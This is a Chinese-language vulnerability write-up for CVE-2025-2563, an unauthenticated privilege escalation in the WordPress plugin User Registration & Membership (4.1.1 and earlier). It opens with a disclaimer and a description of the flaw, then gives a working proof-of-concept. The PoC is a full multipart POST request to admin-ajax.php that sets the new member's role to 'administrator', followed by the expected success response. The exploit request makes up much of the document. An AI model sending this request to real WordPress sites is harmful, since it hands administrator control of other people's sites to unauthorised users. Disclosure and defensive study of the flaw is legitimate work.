CVE-2025-2563

User Registration & Membership <= 4.1.1 - 未认证权限提升

免责声明！

本文档中提供的 CVE（通用漏洞与暴露）信息仅用于教育和参考目的。所提供细节基于作者对公开资源的检索、研究及分析。内容无意促进或鼓励任何非法活动，包括黑客攻击、漏洞利用或对系统的未授权访问。

作者对信息的任何滥用不承担任何责任。建议个人和组织负责任地应用这些知识，并遵守适用法律法规。强烈建议读者仅在获得适当授权的受控环境中测试漏洞。

本文档的作者和贡献者不支持或纵容恶意活动，并鼓励负责任的披露和道德黑客实践。

---

描述

在“User Registration & Membership”WordPress 插件中发现了一个严重安全漏洞。该插件是创建会员网站和注册表单的流行工具。该漏洞被识别为 CVE-2025-2563，CVSS 评分为 9.8，表明其严重性极高。

WordPress 插件 User Registration & Membership 在版本 4.1.1 及之前版本中存在权限提升漏洞。这是由于 prepare_members_data() 函数中对角色类型的限制不足。这使得未认证的攻击者能够创建具有“管理员”角色的新用户帐户，但需满足以下条件：

1. 插件已激活会员附加组件
2. 注册用户无需确认

---

PoC（概念验证）

1. 通过前端页面在 /registration 或 /membership-registration 注册
2. 注册后，使用以下请求数据。
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
   Accept: */*
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------189123966817005614765335
   
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_register_member
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="security"
   
   THE_NONCE_HERE
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="members_data"
   
   {"membership":"MEMBERSHIP_ID","payment_method":"free","start_date":"2025-3-29","username":"REGISTERED_USERNAME","role":"administrator"}
   ----------------------------189123966817005614765335--
   

3. 响应应如下所示
   root@kitploit:~

   {
       "success": true,
       "data": {
           "member_id": 24,
           "transaction_id": "",
           "message": "New member has been successfully created."
       }
   }  
   

4. 现在您可以使用管理员权限登录已注册的帐户。

---

参考

1. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.2/modules/membership/includes/Admin/Services/MembersService.php?rev=3259656#L106
2. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
3. https://securityonline.info/wordpress-plugin-cve-2025-2563-scores-9-8-threatens-thousands-of-membership-sites/

---

感谢

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii